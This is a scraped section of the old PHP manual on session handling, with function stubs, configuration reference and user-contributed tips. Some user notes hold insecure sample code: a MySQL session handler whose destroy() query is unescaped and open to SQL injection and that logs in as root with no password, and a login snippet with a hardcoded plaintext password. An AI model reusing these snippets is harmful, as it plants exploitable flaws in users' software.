Msession Functions


Call an escape function within the msession personality plugin

msession_lock
msession_randstr
Msession Functions
PHP Manual

msession_plugin

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_plugin — Call an escape function within the msession personality plugin

Description

string msession_plugin ( string $session , string $val [, string $param ] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
msession_lock
msession_randstr
Msession Functions


Get random string

msession_plugin
msession_set_array
Msession Functions
PHP Manual

msession_randstr

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_randstr — Get random string

Description

string msession_randstr ( int $param )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
msession_plugin
msession_set_array
Msession Functions


Set msession variables from an array

msession_randstr
msession_set_data
Msession Functions
PHP Manual

msession_set_array

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_set_array — Set msession variables from an array

Description

void msession_set_array ( string $session , array $tuples )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
msession_randstr
msession_set_data
Msession Functions


Set data session unstructured data

msession_set_array
msession_set
Msession Functions
PHP Manual

msession_set_data

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_set_data — Set data session unstructured data

Description

bool msession_set_data ( string $session , string $value )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
msession_set_array
msession_set
Msession Functions


Set value in session

msession_set_data
msession_timeout
Msession Functions
PHP Manual

msession_set

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_set — Set value in session

Description

bool msession_set ( string $session , string $name , string $value )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
msession_set_data
msession_timeout
Msession Functions


Set/get session timeout

msession_set
msession_uniq
Msession Functions
PHP Manual

msession_timeout

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_timeout — Set/get session timeout

Description

int msession_timeout ( string $session [, int $param ] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
msession_set
msession_uniq
Msession Functions


Get unique id

msession_timeout
msession_unlock
Msession Functions
PHP Manual

msession_uniq

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_uniq — Get unique id

Description

string msession_uniq ( int $param [, string $classname [, string $data ]] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

markw at mohawksoft dot com 17-Aug-2005 05:43
msession_uniq is designed to create a guaranteed unique session handle.
msession_timeout
msession_unlock
Msession Functions


Unlock a session

msession_uniq
Sessions
Msession Functions
PHP Manual

msession_unlock

(PHP 4 >= 4.2.0, PHP 5 <= 5.1.2)

msession_unlock — Unlock a session

Description

int msession_unlock ( string $session , int $key )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
msession_uniq
Sessions
Msession Functions


Session Handling

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
    • Passing the Session ID
    • Custom Session Handlers
  • Session Upload Progress
  • Sessions and security
  • Session Functions
    • session_cache_expire — Return current cache expire
    • session_cache_limiter — Get and/or set the current cache limiter
    • session_commit — Alias of session_write_close
    • session_decode — Decodes session data from a string
    • session_destroy — Destroys all data registered to a session
    • session_encode — Encodes the current session data as a string
    • session_get_cookie_params — Get the session cookie parameters
    • session_id — Get and/or set the current session id
    • session_is_registered — Find out whether a global variable is registered in a session
    • session_module_name — Get and/or set the current session module
    • session_name — Get and/or set the current session name
    • session_regenerate_id — Update the current session id with a newly generated one
    • session_register_shutdown — Session shutdown function
    • session_register — Register one or more global variables with the current session
    • session_save_path — Get and/or set the current session save path
    • session_set_cookie_params — Set the session cookie parameters
    • session_set_save_handler — Sets user-level session storage functions
    • session_start — Initialize session data
    • session_status — Returns the current session status
    • session_unregister — Unregister a global variable from the current session
    • session_unset — Free all session variables
    • session_write_close — Write session data and end session
  • SessionHandler — The SessionHandler class
    • SessionHandler::close — Close the session
    • SessionHandler::destroy — Destroy a session
    • SessionHandler::gc — Cleanup old sessions
    • SessionHandler::open — Initialize session
    • SessionHandler::read — Read session data
    • SessionHandler::write — The write purpose

User Contributed Notes

roberto at spadim dot com dot br 20-Mar-2011 10:28
instead of memcache, you should consider using redis
http://redis.io/commands

it have KEYS command (http://redis.io/commands/keys) that can return all keys (like 'ls'/'dir' at php sessions directory)

it allow replication too (cluster use)

i don't know if anyone wrote a version of phpsessions using redis yet, but since memcache don't have KEYS command, it's hard to know if the users is connected (at app side) or what sessions still active (not expired/not logged)
elephant at punx dot pl 28-Feb-2011 11:51
Please note, that database is NOT recommended for session storage. It can be a big performance bottleneck, especially in replicated environments.

For saving sessions, file handler seems to be very effective for most setups, except those situations:
 - if performance is an issue, the directory which stores session files can be mounted as tmpfs (ram disk).
 - if sharing sessions across multiple webservers is needed (in clustered environments), use memcache for storing session information (tip: you can setup more than one instance of memcache eliminate single point of failure). This method, however, sets a limitation of session size to 64k (this should be enough for most applications)
 - don't use NFS for sharing session files between webservers, it does not handle locking correctly and can cause corruption of session data.
php_engineer_bk at yahoo dot com 29-Sep-2010 11:39
<?php
/**
 * PHP session handling with MySQL-DB
 *
 */

class Session
{
    /**
     * a database connection resource
     * @var resource
     */
    private static $_sess_db;

    /**
     * Open the session
     * @return bool
     */
    public static function open() {
        if (self::$_sess_db = mysql_connect('localhost',
                                            'root',
                                            '')) {
            return mysql_select_db('trading', self::$_sess_db);
        }
        return false;
    }

    /**
     * Close the session
     * @return bool
     */
    public static function close() {
        return mysql_close(self::$_sess_db);
    }

    /**
     * Read the session
     * @param int session id
     * @return string string of the sessoin
     */
    public static function read($id) {
        $id = mysql_real_escape_string($id);
        $sql = sprintf("SELECT `session_data` FROM `sessions` " .
                       "WHERE `session` = '%s'", $id);
        if ($result = mysql_query($sql, self::$_sess_db)) {
            if (mysql_num_rows($result)) {
                $record = mysql_fetch_assoc($result);
                return $record['session_data'];
            }
        }
        return '';
    }

    /**
     * Write the session
     * @param int session id
     * @param string data of the session
     */
    public static function write($id, $data) {
        $sql = sprintf("REPLACE INTO `sessions` VALUES('%s', '%s', '%s')",
                       mysql_real_escape_string($id),
                       mysql_real_escape_string(time()),
                       mysql_real_escape_string($data)
                       );
        return mysql_query($sql, self::$_sess_db);
    }

    /**
     * Destoroy the session
     * @param int session id
     * @return bool
     */
    public static function destroy($id) {
        $sql = sprintf("DELETE FROM `sessions` WHERE `session` = '%s'", $id);
        return mysql_query($sql, self::$_sess_db);
    }

    /**
     * Garbage Collector
     * @param int life time (sec.)
     * @return bool
     * @see session.gc_divisor      100
     * @see session.gc_maxlifetime 1440
     * @see session.gc_probability    1
     * @usage execution rate 1/100
     *        (session.gc_probability/session.gc_divisor)
     */
    public static function gc($max) {
        $sql = sprintf("DELETE FROM `sessions` WHERE `session_expires` < '%s'",
                       mysql_real_escape_string(time() - $max));
        return mysql_query($sql, self::$_sess_db);
    }
}

//ini_set('session.gc_probability', 50);

?>
Iranian php programming (farhad zandmoghadam)
e dot mortoray at ecircle dot com 17-Apr-2009 05:02
There is a nuance we found with session timing out although the user is still active in the session.  The problem has to do with never modifying the session variable.

The GC will clear the session data files based on their last modification time.  Thus if you never modify the session, you simply read from it, then the GC will eventually clean up.

To prevent this you need to ensure that your session is modified within the GC delete time.  You can accomplish this like below.

<?php
if( !isset($_SESSION['last_access']) || (time() - $_SESSION['last_access']) > 60 )
  $_SESSION['last_access'] = time();
?>

This will update the session every 60s to ensure that the modification date is altered.
Some Guy 16-Jan-2009 04:26
Just some notes - it seems that php does the session writing after the script exits.
For example, if you set a bunch of session variables and then run session_regenerate_id() - the session variables are never written to the old session. The new session id is generated when you ask it to be generated, but the session exists only in memory until after the script exits - when the session is written and any and all session variables are written to it.

This caused me some confusion, as I'm running sessions in an sql database rather than flat file, trying to do any manipulation of the session database directly in a script where you have run session_regenerate_id() will fail for the new session ID because the insert hasn't been done yet, and setting any session variables will only be written to the new session, even if set before you regenerate the session ID.

Also - if using a database for sessions, make sure to use mysql_real_escape_string() before saving any session variables.
Anonymous 06-Dec-2008 09:07
Variations from Http://, Https:// and http://www. will throw off session data.
master dot twinkle at virgin dot net 08-Sep-2008 11:32
If you have links from your website to other domains even if they open in new windows, session data will be lost.  I am using a session variable to store the number of hits and avoid the problem by opening links in the top location - this will of course give you the bonus of an extra hit when the visitor returns!
SebastianJu 21-Aug-2008 01:41
Cant believe this problem isnt described herein. I wondered why my session-variables lost their values when going from first site to second site. Both had a session_start();.

A session is working only on one domain. Subdomains dont use the Session of the maindomain. That means if someone comes to your site at yourdomain.com and the session is started there and then clicks a link where he is lead to www.yourdomain.com then the old session isnt working there anymore. Because www. is a subdomain.

In the practice that will mean a lot of lost sessions only because webmasters dont know this behaviour. I have never read a word about this in manuals or somewhere...

The solution is to put this code before the first session_start();

ini_set("session.cookie_domain",substr($_SERVER[HTTP_HOST],3));

Now it works. At the second place of parameters has to come in ".yourdomain.com" (with a dot before). With that the subdomains will use the same session like the maindomain. In this example domainname taken from Server-variable.

Greetings!
Sebastian
zareef at zareef dot net 11-Aug-2008 04:54
Persistence of session data in included file also has one more aspects if you are including a file using/over the http connection.
Session will not be available without refresh (it's a separate thread even if you are on the same domain/server), which is again a correct behavior, but if you are including a file from local file system then it should have session data if you are setting and accessing the $_SESSION variable even before page refresh because it is available globally.

<?php
session_start();
$_SESSION['example']="yes";

Include("otherfile");

?>

Session variable will be available in included file.

<?php
session_start();
$_SESSION['example']="yes";

Include("http://domain.com/otherfile.php");

?>

Session will NOT be available in other file.
BUt if both files are on same server then after refresh values will be available.
Madster 28-Jul-2008 12:45
When you include a php file in your current script it's included, not processed separately, thus it's still within the same page and the current page hasn't finished processing.
Thus, session is not set yet. This is the expected behaviour.

If you need to load a page after setting session data, you should set session data and then send a redirection or refresh header (remember not to send anything, not even whitespace before sending headers).

Always consider session data to be updated after the next page load (as in http request completed).
mike at basementideas dot com 07-Jul-2008 05:05
The note about an included file not being able to access the sessions is not true.  You just have to do a session_start(); in the included file.

This is what drove me here today, because I was noticing the same thing.  But I tried the above on a whim and it works fine.  You wouldn't think you'd need to start a session twice, but I guess the scripts are looked on as separate in that regard.

Mike
pushedx 02-Jul-2008 03:01
Here is something to watch out for when working with sessions.

Let's say you have two pages, Page A and Template Z. If Page A sets session data and includes Template Z, the session data is not properly registered for the execution of Template Z due to how session data is written *after* a script has executed [1].

As a result, your second page will not have the right session data, so you are a bit in a pickle. I'm sure there are other work arounds, perhaps with cookies or flat files, but you cannot use session data in that fashion.

The reason I have this setup is because I will have a number of Page A-Z's that will contain page specific content and one Template Z page that renders each page's specific content in the site layout. This way, the site content changing is independent of the style the site uses and the site style can change without modifying the actual content. It's a dynamically configurable site template design.

[1] See the  "session_write_close" documentation page.
msession_unlock
Introduction
Session Extensions


Introduction

Session support in PHP consists of a way to preserve certain data across subsequent accesses. This enables you to build more customized applications and increase the appeal of your web site.

A visitor accessing your web site is assigned a unique id, the so-called session id. This is either stored in a cookie on the user side or is propagated in the URL.

The session support allows you to store data between requests in the $_SESSION superglobal array. When a visitor accesses your site, PHP will check automatically (if session.auto_start is set to 1) or on your request (explicitly through session_start() or implicitly through session_register()) whether a specific session id has been sent with the request. If this is the case, the prior saved environment is recreated.

Caution

If you turn on session.auto_start then the only way to put objects into your sessions is to load its class definition using auto_prepend_file in which you load the class definition else you will have to serialize() your object and unserialize() it afterwards.

$_SESSION (and all registered variables) are serialized after the request finishes. Registered variables which are undefined are marked as being not defined. On subsequent accesses, these are not defined by the session module unless the user defines them later.

Warning

Because session data is serialized, resource variables cannot be stored in the session.

Note:

Please note when working with sessions that a record of a session is not created until a variable has been registered using the session_register() function or by adding a new key to the $_SESSION superglobal array. This holds true regardless of if a session has been started using the session_start() function.

Note:

PHP 5.2.2 introduced an undocumented feature to store session files in "/tmp" even if open_basedir was enabled and "/tmp" is not explicitly added to the allowed paths list. This feature has been removed from PHP as of PHP 5.3.0.

User Contributed Notes

payal at radixweb dot com 08-Nov-2010 10:39
If you use auto start session, Session cookie will not be created , it will be created only if you will use session_start()
ivenms at ivenms dot com 23-Mar-2009 12:08
Here is a sample code which can be used to create logged sessions:

Code for differentiating Guest and Logged members:
<?php
// Starting the session
session_start();

if(isset($_SESSION['user']))
    {
        // Code for Logged members

        // Identifying the user
        $user = $_SESSION['user'];

        // Information for the user.
    }
else
    {
        // Code to show Guests

    }
?>

Code for Logging a User:
<?php
//Username Stored for logging
define("USER", "user");

// Password Stored
define("PASS", "123456");

// Normal user section - Not logged ------
        if(isset($_REQUEST['username']) && isset($_REQUEST['password']))
            {
                // Section for logging process -----------
                $user = trim($_REQUEST['username']);
                $pass = trim($_REQUEST['password']);
                if($user == USER && $pass == PASS)
                    {
                        // Successful login ------------------

                        // Setting Session
                        $_SESSION['user'] = USER;

                        // Redirecting to the logged page.
                        header("Location: index.php");
                    }
                else
                    {
                        // Wrong username or Password. Show error here.

                    }

            }
?>
User can be logged successfully with username as "user" and password as 123456.

[NOTE BY danbrown AT php DOT net: Contains a bugfix by (pprem AT pprem DOT net) on 26-APR-2009 with the following note: Dont' write if($user == USER && $pass = PASS).]
Sessions
Installing/Configuring
Sessions


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Sessions


Requirements

No external libraries are needed to build this extension.

Note:

Optionally you can use shared memory allocation (mm), developed by Ralf S. Engelschall, for session storage. You have to download » mm and install it. This option is not available for Windows platforms. Note that the session storage module for mm does not guarantee that concurrent accesses to the same session are properly locked. It might be more appropriate to use a shared memory based filesystem (such as tmpfs on Solaris/Linux, or /dev/md on BSD) to store sessions in files, because they are properly locked. Session data is stored in memory thus web server restart deletes it.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Session support is enabled in PHP by default. If you would not like to build your PHP with session support, you should specify the --disable-session option to configure. To use shared memory allocation (mm) for session storage configure PHP --with-mm[=DIR] .

The Windows version of PHP has built-in support for this extension. You do not need to load any additional extensions in order to use these functions.

Note:

By default, all data related to a particular session will be stored in a file in the directory specified by the session.save_path INI option. A file for each session (regardless of if any data is associated with that session) will be created. This is due to the fact that a session is opened (a file is created) but no data is even written to that file. Note that this behavior is a side-effect of the limitations of working with the file system and it is possible that a custom session handler (such as one which uses a database) does not keep track of sessions which store no data.

User Contributed Notes

NOSPAM_tim at tim-jarrett dot com_NOSPAM 24-Apr-2009 09:57
At least on Mac OS X 10.5.6 running PHP 5.2.6 installed via Macports, the default session.save_path shows up as "". After some poking around, I discovered that that means: /private/var/tmp (not /private/tmp).
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Session configuration options
Name | Default | Changeable | Changelog
session.save_path | "" | PHP_INI_ALL |
session.name | "PHPSESSID" | PHP_INI_ALL |
session.save_handler | "files" | PHP_INI_ALL |
session.auto_start | "0" | PHP_INI_ALL |
session.gc_probability | "1" | PHP_INI_ALL |
session.gc_divisor | "100" | PHP_INI_ALL | Available since PHP 4.3.2.
session.gc_maxlifetime | "1440" | PHP_INI_ALL |
session.serialize_handler | "php" | PHP_INI_ALL |
session.cookie_lifetime | "0" | PHP_INI_ALL |
session.cookie_path | "/" | PHP_INI_ALL |
session.cookie_domain | "" | PHP_INI_ALL |
session.cookie_secure | "" | PHP_INI_ALL | Available since PHP 4.0.4.
session.cookie_httponly | "" | PHP_INI_ALL | Available since PHP 5.2.0.
session.use_cookies | "1" | PHP_INI_ALL |
session.use_only_cookies | "1" | PHP_INI_ALL | Available since PHP 4.3.0.
session.referer_check | "" | PHP_INI_ALL |
session.entropy_file | "" | PHP_INI_ALL |
session.entropy_length | "0" | PHP_INI_ALL |
session.cache_limiter | "nocache" | PHP_INI_ALL |
session.cache_expire | "180" | PHP_INI_ALL |
session.use_trans_sid | "0" | PHP_INI_ALL | PHP_INI_ALL in PHP <= 4.2.3. PHP_INI_PERDIR in PHP < 5. Available since PHP 4.0.3.
session.bug_compat_42 | "1" | PHP_INI_ALL | Available since PHP 4.3.0. Removed in PHP 5.4.0.
session.bug_compat_warn | "1" | PHP_INI_ALL | Available since PHP 4.3.0. Removed in PHP 5.4.0.
session.hash_function | "0" | PHP_INI_ALL | Available since PHP 5.0.0.
session.hash_bits_per_character | "4" | PHP_INI_ALL | Available since PHP 5.0.0.
url_rewriter.tags | "a=href,area=href,frame=src,form=,fieldset=" | PHP_INI_ALL | Available since PHP 4.0.4.
session.upload_progress.enabled | "1" | PHP_INI_PERDIR | Available since PHP 5.4.0.
session.upload_progress.cleanup | "1" | PHP_INI_PERDIR | Available since PHP 5.4.0.
session.upload_progress.prefix | "upload_progress_" | PHP_INI_PERDIR | Available since PHP 5.4.0.
session.upload_progress.name | "PHP_SESSION_UPLOAD_PROGRESS" | PHP_INI_PERDIR | Available since PHP 5.4.0.
session.upload_progress.freq | "1%" | PHP_INI_PERDIR | Available since PHP 5.4.0.
session.upload_progress.min_freq | "1" | PHP_INI_PERDIR | Available since PHP 5.4.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

The session management system supports a number of configuration options which you can place in your php.ini file. We will give a short overview.

session.save_handler string
session.save_handler defines the name of the handler which is used for storing and retrieving data associated with a session. Defaults to files. Note that individual extensions may register their own save_handlers; registered handlers can be obtained on a per-installation basis by referring to phpinfo(). See also session_set_save_handler().
session.save_path string
session.save_path defines the argument which is passed to the save handler. If you choose the default files handler, this is the path where the files are created. See also session_save_path().

There is an optional N argument to this directive that determines the number of directory levels your session files will be spread around in. For example, setting to '5;/tmp' may end up creating a session file and location like /tmp/4/b/1/e/3/sess_4b1e384ad74619bd212e236e52a5a174If . In order to use N you must create all of these directories before use. A small shell script exists in ext/session to do this, it's called mod_files.sh, with a Windows version called mod_files.bat. Also note that if N is used and greater than 0 then automatic garbage collection will not be performed, see a copy of php.ini for further information. Also, if you use N, be sure to surround session.save_path in "quotes" because the separator (;) is also used for comments in php.ini.

Warning

If you leave this set to a world-readable directory, such as /tmp (the default), other users on the server may be able to hijack sessions by getting the list of files in that directory.

Note: Prior to PHP 4.3.6, Windows users had to change this variable in order to use PHP's session functions. A valid path must be specified, e.g.: c:/temp.

session.name string
session.name specifies the name of the session which is used as cookie name. It should only contain alphanumeric characters. Defaults to PHPSESSID. See also session_name().
session.auto_start boolean
session.auto_start specifies whether the session module starts a session automatically on request startup. Defaults to 0 (disabled).
session.serialize_handler string
session.serialize_handler defines the name of the handler which is used to serialize/deserialize data. Currently, a PHP internal format (name php or php_binary) and WDDX are supported (name wddx). WDDX is only available, if PHP is compiled with WDDX support. Defaults to php.
session.gc_probability integer
session.gc_probability in conjunction with session.gc_divisor is used to manage probability that the gc (garbage collection) routine is started. Defaults to 1. See session.gc_divisor for details.
session.gc_divisor integer
session.gc_divisor coupled with session.gc_probability defines the probability that the gc (garbage collection) process is started on every session initialization. The probability is calculated by using gc_probability/gc_divisor, e.g. 1/100 means there is a 1% chance that the GC process starts on each request. session.gc_divisor defaults to 100.
session.gc_maxlifetime integer
session.gc_maxlifetime specifies the number of seconds after which data will be seen as 'garbage' and potentially cleaned up. Garbage collection may occur during session start (depending on session.gc_probability and session.gc_divisor).

Note:

If different scripts have different values of session.gc_maxlifetime but share the same place for storing the session data then the script with the minimum value will be cleaning the data. In this case, use this directive together with session.save_path.

Note: If you are using the default file-based session handler, your filesystem must keep track of access times (atime). Windows FAT does not so you will have to come up with another way to handle garbage collecting your session if you are stuck with a FAT filesystem or any other filesystem where atime tracking is not available. Since PHP 4.2.3 it has used mtime (modified date) instead of atime. So, you won't have problems with filesystems where atime tracking is not available.

session.referer_check string
session.referer_check contains the substring you want to check each HTTP Referer for. If the Referer was sent by the client and the substring was not found, the embedded session id will be marked as invalid. Defaults to the empty string.
session.entropy_file string
session.entropy_file gives a path to an external resource (file) which will be used as an additional entropy source in the session id creation process. Examples are /dev/random or /dev/urandom which are available on many Unix systems. This feature is supported on Windows since PHP 5.3.3. Setting session.entropy_length to a non zero value will make PHP use the Windows Random API as entropy source.
session.entropy_length integer
session.entropy_length specifies the number of bytes which will be read from the file specified above. Defaults to 0 (disabled).
session.use_cookies boolean
session.use_cookies specifies whether the module will use cookies to store the session id on the client side. Defaults to 1 (enabled).
session.use_only_cookies boolean
session.use_only_cookies specifies whether the module will only use cookies to store the session id on the client side. Enabling this setting prevents attacks involved passing session ids in URLs. This setting was added in PHP 4.3.0. Defaults to 1 (enabled) since PHP 5.3.0.
session.cookie_lifetime integer
session.cookie_lifetime specifies the lifetime of the cookie in seconds which is sent to the browser. The value 0 means "until the browser is closed." Defaults to 0. See also session_get_cookie_params() and session_set_cookie_params().

Note:

The expiration timestamp is set relative to the server time, which is not necessarily the same as the time in the client's browser.

session.cookie_path string
session.cookie_path specifies path to set in the session cookie. Defaults to /. See also session_get_cookie_params() and session_set_cookie_params().
session.cookie_domain string
session.cookie_domain specifies the domain to set in the session cookie. Default is none at all meaning the host name of the server which generated the cookie according to cookies specification. See also session_get_cookie_params() and session_set_cookie_params().
session.cookie_secure boolean
session.cookie_secure specifies whether cookies should only be sent over secure connections. Defaults to off. This setting was added in PHP 4.0.4. See also session_get_cookie_params() and session_set_cookie_params().
session.cookie_httponly boolean
Marks the cookie as accessible only through the HTTP protocol. This means that the cookie won't be accessible by scripting languages, such as JavaScript. This setting can effectively help to reduce identity theft through XSS attacks (although it is not supported by all browsers).
session.cache_limiter string
session.cache_limiter specifies the cache control method used for session pages. It may be one of the following values: nocache, private, private_no_expire, or public. Defaults to nocache. See also the session_cache_limiter() documentation for information about what these values mean.
session.cache_expire integer
session.cache_expire specifies time-to-live for cached session pages in minutes, this has no effect for nocache limiter. Defaults to 180. See also session_cache_expire().
session.use_trans_sid boolean
session.use_trans_sid whether transparent sid support is enabled or not. Defaults to 0 (disabled).

Note: For PHP 4.1.2 or less, it is enabled by compiling with --enable-trans-sid. From PHP 4.2.0, trans-sid feature is always compiled. URL based session management has additional security risks compared to cookie based session management. Users may send a URL that contains an active session ID to their friends by email or users may save a URL that contains a session ID to their bookmarks and access your site with the same session ID always, for example.

session.bug_compat_42 boolean
PHP versions 4.2.3 and lower have an undocumented feature/bug that allows you to initialize a session variable in the global scope, albeit register_globals is disabled. PHP 4.3.0 and later will warn you, if this feature is used, and if session.bug_compat_warn is also enabled. This feature/bug can be disabled by disabling this directive.
session.bug_compat_warn boolean
PHP versions 4.2.3 and lower have an undocumented feature/bug that allows you to initialize a session variable in the global scope, albeit register_globals is disabled. PHP 4.3.0 and later will warn you, if this feature is used by enabling both session.bug_compat_42 and session.bug_compat_warn.
session.hash_function mixed
session.hash_function allows you to specify the hash algorithm used to generate the session IDs. '0' means MD5 (128 bits) and '1' means SHA-1 (160 bits).

Since PHP 5.3.0 it is also possible to specify any of the algorithms provided by the hash extension (if it is available), like sha512 or whirlpool. A complete list of supported algorithms can be obtained with the hash_algos() function.

Note:

This setting was introduced in PHP 5.

session.hash_bits_per_character integer
session.hash_bits_per_character allows you to define how many bits are stored in each character when converting the binary hash data to something readable. The possible values are '4' (0-9, a-f), '5' (0-9, a-v), and '6' (0-9, a-z, A-Z, "-", ",").

Note:

This was introduced in PHP 5.

url_rewriter.tags string
url_rewriter.tags specifies which HTML tags are rewritten to include session id if transparent sid support is enabled. Defaults to a=href,area=href,frame=src,input=src,form=fakeentry,fieldset=

Note: If you want HTML/XHTML strict conformity, remove the form entry and use the <fieldset> tags around your form fields.

session.upload_progress.enabled boolean
Enables upload progress tracking, populating the $_SESSION variable. Defaults to 1, enabled.
session.upload_progress.cleanup boolean
Cleanup the progress information as soon as all POST data has been read (i.e. upload completed). Defaults to 1, enabled.

Note: It is highly recommended to keep this feature enabled.

session.upload_progress.prefix string
A prefix used for the upload progress key in the $_SESSION. This key will be concatenated with the value of $_POST[ini_get("session.upload_progress.name")] to provide a unique index. Defaults to "upload_progress_".
session.upload_progress.name string
The name of the key to be used in $_SESSION storing the progress information. See also session.upload_progress.prefix. If $_POST[ini_get("session.upload_progress.name")] is not passed or available, upload progressing will not be recorded. Defaults to "PHP_SESSION_UPLOAD_PROGRESS".
session.upload_progress.freq mixed
Defines how often the upload progress information should be updated. This can be defined in bytes (i.e. "update progress information after every 100 bytes"), or in percentages (i.e. "update progress information after receiving every 1% of the whole filesize). Defaults to "1%".
session.upload_progress.min-freq integer
The minimum delay between updates, in seconds. Defaults to "1" (one second).

The track_vars and register_globals configuration settings influence how the session variables get stored and restored.

Upload progress will not be registered unless session.upload_progress.enabled is enabled, and the $_POST[ini_get("session.upload_progress.name")] variable is set. See Session Upload Progress for mor details on this functionality.

Note:

As of PHP 4.0.3, track_vars is always turned on.

User Contributed Notes

AskApache 10-Nov-2010 10:00
This is how I set my session.save_path
session.save_path = "1;/home/askapache/tmp/s"
So to create the folder structure you can use this compatible shell script, if you want to create with 777 permissions change the umask to 0000;
sh -o braceexpand -c "umask 0077;mkdir -p s/{0..9}/{a..z} s/{a..z}/{0..9}"

Then you can create a cronjob to clean the session folder by adding this to your crontab which deletes any session files older than an hour:
@daily find /home/askapache/tmp/s -type f -mmin +60 -exec rm -f {} \; &>/dev/null

That will create sessions in folder like:
 /home/askapache/tmp/s/b/sess_b1aba5q6io4lv01bpc6t52h0ift227j6

I don't think any non-mega site will need to go more than 1 levels deep.  Otherwise you create so many directories that it slows the performance gained by this.
orbill 30-Aug-2010 05:08
apparently the default value for session.use_only_cookies has changed in 5.3.3 from 0 to 1. If you haven't set this in your php.ini or your code to 0 transparent sessions won't work.
Nicholas 26-Aug-2010 11:08
Transient sessions do not appear to be working in 5.3.3

E.g.

<?php
    ini_set("session.use_cookies", 0);
    ini_set("session.use_trans_sid", 1);
    session_start();

    if (isset($_SESSION["foo"])) {
        echo "Foo: " . $_SESSION["foo"];
    } else {
        $_SESSION["foo"] = "Bar";
        echo "<a href=?" . session_name() . "=" . session_id() . ">Begin test</a>";
    }
?>

This works in 5.2.5, but not 5.3.3
Wouter 19-May-2010 03:14
When setting the session.cookie_lifetime directive in a .htaccess use string format like;

php_value session.cookie_lifetime "123456"

and not

php_value session.cookie_lifetime 123456

Using a integer as stated above dit not work in my case (Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.5 with Suhosin-Patch mod_ssl/2.2.11 OpenSSL/0.9.8g)
VIPSoft 27-Jul-2009 02:23
session.auto_start should always be "Off".

session.auto_start=On is considered "wrong" by Zend_Session as it causes an E_NOTICE to be thrown when Zend_Session::start() is called (either directly or indirectly, e.g., through Zend_Session_Namespace).
mikaelkael at php dot net 28-Jan-2009 12:50
Recently, I needed to change the session save_path in my program under Windows. With an ini_set('session.save_path', '../data/sessions'); (and session.gc_divisor = 1 for test), I always obtain 'Error #8 session_start(): ps_files_cleanup_dir: opendir(../data/sessions) failed: Result too large'.

I corrected this by changing with ini_set('session.save_path', realpath('../data/sessions'));
sony-santos at bol dot com dot br 16-Oct-2008 11:17
In response to 00 at f00n, this very page explains:

"(...) if N is used and greater than 0 then automatic garbage collection will not be performed (...)"

So you can actually use custom save_path with automatic garbage collection, since you don't use the subdirectory option (that N subdirectory levels).
00 at f00n dot com 25-Jun-2008 06:36
After having many problems with garbage collection not clearing my sessions I have resolved it through the following.

First I found this in the php.ini (not something i noticed as i use phpinfo(); to see my hosting ini).

; NOTE: If you are using the subdirectory option for storing session files
;       (see session.save_path above), then garbage collection does *not*
;       happen automatically.  You will need to do your own garbage

; collection through a shell script, cron entry, or some other method. ;       For example, the following script would is the equivalent of
;       setting session.gc_maxlifetime to 1440 (1440 seconds = 24 minutes):
;          cd /path/to/sessions; find -cmin +24 | xargs rm

With this is mind there are options.

1. dont use a custom save_path.
** This means if your isp hasnt defaulted your session temp to something safer than install default or you are using a shared directory for session data then you would be wise to use named sessions to keep your session from being viewable in other people's scripts.  Creating a unique_id name for this is the common method. **

2. use your custom folder but write a garbage collection script.

3. use a custom handler and a database
phpforcharity dot 5 dot pistos at geoshell dot com 24-Jun-2008 06:05
To get session IDs to show up in URIs, and not get stored via cookies, you must not only set session.use_cookies to 0, but also set session.use_trans_sid to 1.  Otherwise, the session ID goes neither in a cookie nor in URIs!
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

SID (string)
Constant containing either the session name and session ID in the form of "name=ID" or empty string if session ID was set in an appropriate session cookie. This is the same id as the one returned by session_id().
PHP_SESSION_DISABLED (int)
Return value of session_status() if sessions are disabled.
PHP_SESSION_NONE (int)
Return value of session_status() if sessions are enabled, but no session exists.
PHP_SESSION_ACTIVE (int)
Return value of session_status() if sessions are enabled, and a session exists.

User Contributed Notes

yesmarklapointe at hotmail dot com 04-Feb-2009 04:19
Here is some info about how to use SID. Experiment run on WAMPserver, PHP version 5.2.6.
Using FireFox 3.0.

In php.ini,  session.use_cookies has an effect upon whether or not SID passes an empty string or the session info. If it is on, SID is evaluated for the session info upon initial page view, but once a cookie has been set (automatically by  session.use_cookies) in the browser, subsequent views (like page reloads or using the back button) have the cookie being returned to the script so SID is then evaluated as an empty string. On the other hand, if session.use_cookies is off, (and provided you don't create a cookie by some other means), SID will evaluate as the session info no matter how many times you reload the page or use the back button because session_start() keeps opening a new session and no cookies are being set. Be aware this behavior will change the functionality of any links you build with SID. To have a reliable link with session info in it, spell it out using session_name() and session_id(), not SID. Example:

echo '<a href="page2.php?' . session_name() . ' ='  . session_id() . ' ">page2</a>' ;

and not

echo '<a href="page2.php?' . SID . ' ">page2</a>';

